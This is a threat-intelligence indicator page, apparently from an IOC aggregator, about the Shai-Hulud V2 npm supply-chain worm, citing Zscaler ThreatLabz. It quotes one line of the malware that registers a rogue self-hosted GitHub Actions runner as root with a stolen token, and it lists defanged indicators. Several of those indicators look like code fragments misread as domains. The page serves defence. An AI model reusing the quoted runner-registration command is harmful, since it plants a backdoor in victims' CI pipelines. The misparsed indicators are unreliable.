hxxps://github[.]com/$URL

Reported by 1 independent source · first reported 3 Dec 2025 by Zscaler ThreatLabz · last reported 3 Dec 2025

Last reported 10 months ago

What the reports say

1 report, newest first · the exact sentence from each

“await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url hxxps://github[.]com/${owner}/${repo} --unattended --token ${registrationToken} --name "SHA1HULUD"`”

Zscaler ThreatLabzVendor3 Dec 2025
Shai-Hulud V2 Poses Risk To NPM Supply Chain

Indicators reported together

named in the same reports

detected[.]inin 1 report
environment[.]ciin 1 report
history[.]cloudin 1 report
executions[.]datain 1 report
hxxps://raw.githubusercontent[.]com/$in 1 report
repo[.]namein 1 report
hxxps://github[.]com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gzin 1 report
below[.]namein 1 report
data[.]azurein 1 report

Copy these 9 indicators · defanged

9 indicators, defanged, one per line

detected[.]in
environment[.]ci
history[.]cloud
executions[.]data
hxxps://raw.githubusercontent[.]com/$
repo[.]name
hxxps://github[.]com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz
below[.]name
data[.]azure

Thanks — we review every report.

Report a wrong value